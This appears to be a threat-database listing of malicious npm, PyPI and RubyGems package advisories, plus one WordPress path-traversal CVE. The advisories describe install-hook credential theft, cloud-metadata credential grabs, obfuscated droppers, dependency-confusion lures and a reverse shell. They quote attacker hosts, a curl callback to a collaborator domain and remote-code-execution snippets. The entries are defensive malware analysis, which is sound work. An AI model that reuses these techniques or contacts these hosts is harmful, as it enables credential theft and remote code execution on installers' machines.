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1,259 threats
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| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (51bbdab9d33c291290e2f871acd2ebf7bf64c2c66c5124592055669771b6301e) The package's package.json declares a preinstall lifecycle script that runs `curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com` on `npm install`. The destination is a Burp Suite Collaborator subdomain used for out-of-band interaction confirmation; contacting it on install confirms code execution on the installer's machine and leaks the installer's public IP and DNS resolver via the OOB callback. The package has no legitimate functionality (index.js is a stub), consistent with a dependency-confusion probe or targeted exploitation payload against an internal package name. ## Source: ghsa-malware (67d812b4e6afa96229983750093435fa1dea4002fd3afe374d61cfd7a8090ecd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `antsrcsrctest` masquerades as a "simple date formatting utility" (`index.js` exports a harmless `formatDate()` function that is never referenced by the malicious code) but is a credential-harvesting and cloud-metadata-stealing reconnaissance tool. It declares a `preinstall: node preinstall.js` hook, so the payload executes automatically on `npm install`, before the package is ever imported or used. `preinstall.js` collects `os.hostname()`, `os.platform()`, `process.cwd()`, and the victim's entire `process.env` (all environment variables, frequently containing API keys, tokens and secrets); fingerprints container context by checking for `/.dockerenv` and reading `/proc/1/cgroup` and `/proc/self/mountinfo`; runs local reconnaissance commands via `child_process.execSync` (`id`, `whoami`, `hostname`, `ps aux`); and performs SSRF against the Alibaba Cloud (Aliyun) instance metadata service at `http://100.100.100.200/latest/meta-data/`, specifically probing `/latest/meta-data/ram/security-credentials/` in an attempt to steal cloud IAM role credentials. All of the above (including the full environment variable dump) is exfiltrated via two plaintext HTTP POST requests (to `/` and `/env`) to a hardcoded C2 endpoint `http://101.35.44.248` (raw IP, port 80, no TLS) using Node's built-in `http` module. All errors are silently swallowed so the attack is invisible to the installer. The package was published by npm user `xingzhigege` (`xingzhi@foxmail.com`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80da6b239fe02ae1bbf7086d885062181d9ea048490ad77911a63ae4c393cc42) On `npm install`, the declared preinstall script (preinstall.js) POSTs the installer's full `process.env`, `os.hostname()`, `os.platform()`, cwd, container-detection artifacts (`/.dockerenv`, `/proc/1/cgroup`, `/proc/self/mountinfo`), and the output of shell reconnaissance commands (`id`, `whoami`, `hostname`, `ps aux`) to `http://101.35.44.248` over plain HTTP. The script additionally issues `curl` requests to the Alibaba Cloud instance metadata service at `100.100.100.200`, including the `latest/meta-data/ram/security-credentials/` path that returns temporary IAM credentials for the instance role, and forwards the response to the same attacker endpoint. The package advertises itself as "a simple date formatting utility" and index.js contains only a 7-line date formatter, confirming a decoy cover story for install-time credential theft and environment exfiltration. ## Source: ossf-package-analysis (f7c7439acf2736b50448bcb0f682babcb4ad09d0f316acb5ec5442130f3ee3f2) The OpenSSF Package Analysis project identified 'antsrcsrctest' @ 1.0.0 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `testudo-pack` is byte-for-byte identical (verified via diff) to `testis-pack` from the same npm publisher `ioa2102` (`anamora.les.24948@gmail.com`), differing only in its install hook: `postinstall: node index.js` instead of `preinstall`. It presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `postinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3acd6c2813f34615e913c745f4bfe83a18ca057ec5a109cc30cdd51320eade1a) package.json declares a postinstall hook that runs index.js. On install, index.js decodes String.fromCharCode arrays to reconstruct the host sloth-antagonist.vercel.app and path /service/assets/fetchBinary (Windows) or /service/assets/fetchLinuxBinary (Linux), downloads an unpinned, unhashed binary to %LOCALAPPDATA%/Programs/WinMetrics/WinService.exe on Windows or ~/.local/share/WinMetrics/WinMetrics on Linux, chmod 755s it on Linux, and spawns it detached with stdio ignored and windowsHide on Windows, then unref()s the child so it survives npm install exit. macOS is skipped. The hostname, URL path, and output filename are hidden via char-code arrays to defeat trivial string scanning. The library's advertised pack() API also invokes the same fetch-and-execute routine, providing a second trigger at runtime. The host is not a publisher-owned or vendor domain, the binary is unversioned and unverified, and the obfuscation shows intent to conceal the destination. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package `testis-pack` presents itself as a small binary packing/checksum utility (`pack`/`unpack`/`checksum`/`inspect`) but embeds an obfuscated dropper. It declares a `preinstall: node index.js` hook. The strings for the C2 host, path and dropped-binary name are not present in plaintext — they are reconstructed at runtime via `String.fromCharCode()` calls over hardcoded integer arrays, decoding to the host `sloth-antagonist.vercel.app`, path `/service/assets/fetchBinary` (Windows) or `/service/assets/fetchLinuxBinary` (Linux), and destination filenames `WinService.exe` (Windows) / `WinMetrics` (Linux) written into `%LOCALAPPDATA%\Programs\WinMetrics` or `$HOME/.local/share/WinMetrics` respectively — names chosen to masquerade as a legitimate Windows telemetry/service binary. When triggered, the code downloads the file from `https://sloth-antagonist.vercel.app/service/assets/fetch(Linux)Binary`, `chmod`s it executable on Linux, then spawns it detached and unref'd (`stdio: 'ignore'`, `windowsHide: true` on Windows) so it runs silently in the background, disconnected from the parent process. The routine is skipped on macOS. Note on the trigger: unlike many install-hook droppers, the fetch-and-execute routine (`_fetch()`) is not invoked at the top level of `index.js` — there is no unconditional call anywhere in the module. It is instead called as the first statement inside the exported `pack()` function, so the bare `node index.js` invocation performed by the `preinstall` hook only defines and exports the functions without itself triggering the download. The dropper fires as a side effect the first time any downstream code calls the package's own `pack()` API — which is the package's entire ostensible purpose, making activation highly likely for any real consumer while still evading naive "executes immediately on install" detections. The package was published by npm user `ioa2102` (`anamora.les.24948@gmail.com`), which also published the near-identical `testudo-pack` (same payload, `postinstall` hook instead of `preinstall`). Analysis performed via static review only (npm registry metadata and package source retrieved as text via the npm registry and unpkg CDN) — the package was not installed or executed. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (96f8bc8284635b679a5ca943750a4d3386f73539e05352fd4cd6b0da5d01496f) package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js assembles the destination host, URL path, and dropped filename from `String.fromCharCode` numeric arrays to hide them from string scanners; the reconstructed values are the host `sloth-antagonist.vercel.app` and paths `/service/assets/fetchBinary` (Windows) and `/service/assets/fetchLinuxBinary` (Linux). The script downloads the unpinned, unverified binary via `https.get(...).pipe(createWriteStream(dest))`, writing it to `%LOCALAPPDATA%\Programs\WinMetrics\WinService.exe` on Windows or `~/.local/share/WinMetrics/WinMetrics` on Linux — cover names that impersonate a Windows system component. The file is then `chmod 0755`ed and launched via `spawn(dest, [], { detached: true, stdio: 'ignore', windowsHide: true }).unref()`, so it survives the install process and runs silently in the background under the installing user's privileges. The exported `pack()` API triggers the same fetch-and-execute path on any call, so `require('testis-pack')` also delivers the payload. The dropped bytes are attacker-controlled and mutable at the host, giving the publisher open-ended remote code execution on every installer's machine. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (25594e7865a7525aebefd2f1fcc8060f144bf202b1986875e1cfd95564f66e88) crypto-promiser@1.0.1 is a typosquat of the legitimate crypto-promise package that ships a dropper in its lifecycle scripts. The declared postinstall runs prepinstall.js, which decodes a base64-hidden URL (aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1dEVDFI -> https://jsonkeeper.com/b/WDT1H) via atob, fetches JSON from that anonymous paste host with axios, and pipes the `.cache` field of the response into a detached `node` child process over stdin, executing attacker-controlled JavaScript on npm install. index.js also contains a top-level IIFE that dynamically imports./prepinstall.js, causing the same fetch-and-exec to fire when the package is require()d or imported. The package name is a single-character edit of crypto-promise and mirrors its API surface (hash, hmac, cipher, pbkdf2) as a lure. The remote payload host is anonymous and mutable, the destination is obfuscated behind base64, and executed bytes come from a non-registry third-party paste — arbitrary code execution on the installer machine at install time and at require time. ## Source: ghsa-malware (e30fe05ab2f65365185bab693328d0249c8a6dd2366359ffb1e7184d7d5a61e9) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (38236fbbdbbaa8f8ed9315c3a4ff01fbf049215896036b1cb68611681fe0eb00) chai-redirection presents itself as a chai assertion plugin but its main entry (index.js) unconditionally spawns a detached Node child process running lib/caller.js the moment the package is required. caller.js issues an HTTPS GET to https://www.jsonkeeper.com/b/PC5CK (a mutable pastebin-style host) and passes the response body's `cookie` field to `new Function('require', res.data.cookie)(require)`, executing attacker-controlled JavaScript in the installer's Node process with full `require` access. A secondary code path builds a URL from lib/config values, and on a 404 response whose body carries a `token` field, constructs `new Function.constructor('require', res.token)` and invokes it with `require` — a second remote-code-execution channel. The advertised chai plugin API (validJWT, safeString, etc.) is a cover story: the loader runs before any exports are used, so merely requiring this package as a chai plugin triggers remote code execution. The mutable pastebin source means today's payload can be replaced with anything at any time without republishing the package. ## Source: ghsa-malware (996d340e8231861ae21a30061eda3164b993e15bd08346375d8f886824b4fb6f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ce8dffb72c9f767cbd071bf482fce9acb1ff2283a4800b7862739348b7a89e24) Package @luminarycloudinternal/lcvis-st@9999.0.2 is published to the public npm registry under an internal-looking scope with an artificially high version number designed to outrank any legitimate internal release, so misconfigured installers resolve this public copy. On install, the postinstall.js script collects host and user identifiers (os.hostname(), os.userInfo().username, OS type/release/platform/arch), npm package name/version and user-agent, and CI/GitHub identifiers (CI, GITHUB_ACTIONS, GITHUB_REPOSITORY, RUNNER_NAME, GITHUB_SHA, GITHUB_REF, GITHUB_WORKFLOW), then sends them as query parameters via HTTPS GET to a hardcoded third-party endpoint at poc-luminary-npm-1782987043.testingboxes.com (postinstall.js line 34). The package self-labels as a Bugcrowd bounty canary, but the behavior — dependency-confusion scope/version combined with install-time transmission of installer identifiers to a hardcoded third-party host — is exfiltration for any installer other than the intended bounty target. ## Source: ghsa-malware (3c54509ad86f99f5d01258e1d660deca5eb908d09b71ea17446402ece2584746) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f73e9c228fc5188d602b213f2c6e7f88d6acbb4a9381667b7c33e4cb825aedf2) Package `higherlogic-ocfe@99.9.1` is a dependency-confusion lure targeting the Higher Logic vendor namespace. The published `index.js` is an empty `module.exports = {}` — the package ships no functionality. Its sole dependency is declared in `package.json` as a direct tarball URL (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.4.tgz`) rather than a registry-hosted version. On `npm install`, npm fetches that tarball from an arbitrary Google Cloud Storage bucket and executes any lifecycle scripts it contains on the installer's machine. The high version `99.9.1` is the standard dependency-confusion pattern used to override an internal private package of the same name during resolution, and the bucket path segment `depenconf` reinforces the attack intent. The installer cannot audit the fetched bytes via normal registry tooling, and the tarball contents are mutable at the bucket owner's discretion. ## Source: ghsa-malware (4ad1c3e1385f4524e8d0d34b8be29a99f4d3d80a03d8ce6196cad9e0a6cd4468) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (29c50b5a47dde18daf83760926662df3b9890de074cc00938de04892ac79a4d9) ag-charts-test@99.9.1 is a hollow package (empty index.js, no scripts, no documented functionality) whose sole effect on installers is resolving its single dependency `ltidisafe` from a direct HTTPS tarball URL on a third-party Google Cloud Storage bucket (`https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.9.tgz`) rather than through the npm registry. On `npm install`, the tarball is fetched from that bucket and its contents — including any lifecycle scripts — execute on the installer's machine. The bucket owner can mutate the tarball at any time, so the executed bytes are attacker-controlled. The package name mimics the AG Charts / AG Grid namespace and the inflated `99.9.1` version, combined with the `depenconf` path segment on the bucket URL, is the canonical dependency-confusion shape (outbidding an internal `ag-charts-*` name to force resolution of the attacker's package into a private build). No legitimate purpose is documented and the package ships no code of its own. ## Source: ghsa-malware (9075915150ed433ba9729068a51b48f233c3f5366b8fb5ace97015824510c3cc) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a0e8f566e285de1eec2c3cae07b0faaa8828080a4e1fed7e76e1fe43dfa571ec) Package presents as an internal-looking corporate tooling name ('visa-cli-tools') published at an inflated version (99.9.1) — the canonical dependency-confusion shape used to override a private-registry resolution with a public-npm entry. The package body is a hollow stub (index.js exports an empty object), so the package has no library utility; its only on-install effect is dependency resolution. package.json declares a single dependency 'ltidisafe' via a direct URL to a third-party Google Cloud Storage bucket (https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.1.2.tgz) rather than a registry name+semver. The URL path segment 'depenconf' explicitly labels the dependency-confusion technique. On `npm install`, the tarball is fetched from the bucket (outside registry review, mutable by the bucket owner at any time) and its contents enter the installer's dependency tree with normal install-time execution rights, including any lifecycle hooks in that tarball. The hollow lure + inflated version + name mimicking an internal namespace + external mutable tarball delivery jointly constitute a dependency-confusion dropper. ## Source: ghsa-malware (cac903d37a7aff709242fbacafae0484a4c42ebbf8856b6758777c75aec7fa63) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| High | 7.5 | EPSS 1.0% | High7.5EPSS 1.0%CVE Database V5CVE-2026-14244 The Jssor Slider by jssor.com plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 3.1.24 via the 'url' parameter parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (eae82aa94c358f1f00f8a12e8b583cee82efdcf09d2f80263e6851ac0fec98f3) The PyPI project `jsonschemavalidation` builds a wheel whose installed top-level package is literally `jsonschema` (`[tool.hatch.build.targets.wheel] packages = ["src/jsonschema"]`). Project metadata (author name, homepage pointing at github.com/python-jsonschema/jsonschema, README, description) mirrors the legitimate upstream `jsonschema` project. Installing this distribution places files into the real `jsonschema` import namespace on the installer, so `import jsonschema` in downstream code would resolve to the code shipped by this distribution rather than the genuine one. The current 4.26.0 contents appear to be an unmodified copy of upstream and no exfiltration, install-time fetch-and-execute, credential harvesting, silent-relay, backdoor, or other installer-harm payload is present in this version. The concern is the namespace-collision channel itself: a name-confusion distribution that populates a widely-used import name is a plausible squat/hijack setup, but name-similarity and namespace collision alone are subjective signals without a payload, so human review is appropriate rather than an automatic block. ## Source: kam193 (b7a6e1ff837eac0382559815111106e3e85b3825b72f38355551d5874cc24b0e) A clone of a legitimate package with an embeded reverse shell. In the published version, the reverse shell was connecting to a private IP address suggesting the package was not yet fully weaponized. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-07-jsonschemavalidation Reasons (based on the campaign): - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine. - clones-real-package - obfuscation | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (ae6a5afcedcdfdc53b2404bb13a6b30de93c9d71d0697e4a58bed9ee490042eb) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zztxtwtmp11/MAL-2026-9998.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (a0b1df77ae67924b6d063d2da58a43c8e2253dde93222a037a98f49376b359c7) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zztxtwtmp08/MAL-2026-9995.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (889ebf2a26e92fcb8ec7ddf08da0804f0f46db582463b7504c2175d5075bfdde) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zztxtwtmp04/MAL-2026-9991.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (2284c54b67ee670e1710e2cf7442dbdcbe2aaee2471d82edb4178e8af04d983c) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zztxtwtmp01/MAL-2026-9988.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (f61a5a990ac9c442440841875510ad83f3c73e8bcbd6a07f1709f26a77a3cec3) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zztxtwtmp02/MAL-2026-9989.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (59c8137488fd1aaaa8f99ab7a56efcd3a3f10245651f00b4a8df44e0cd4afd21) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zzpdfvar09/MAL-2026-9966.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (fcd911f937475c246ff9546613899057d4bce4a9bf05e2ba549669c568c43163) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zzpdfvar06/MAL-2026-9963.json)) | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (3f33af1da839686ad875110ccd5e7ca3007713693dd515cf779a05e188724ce8) --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9fbb5fba02ba2f02395d3d2d43c31b2c482b7a9d/osv/malicious/rubygems/zzpdfvar07/MAL-2026-9964.json)) | GCVE Database |
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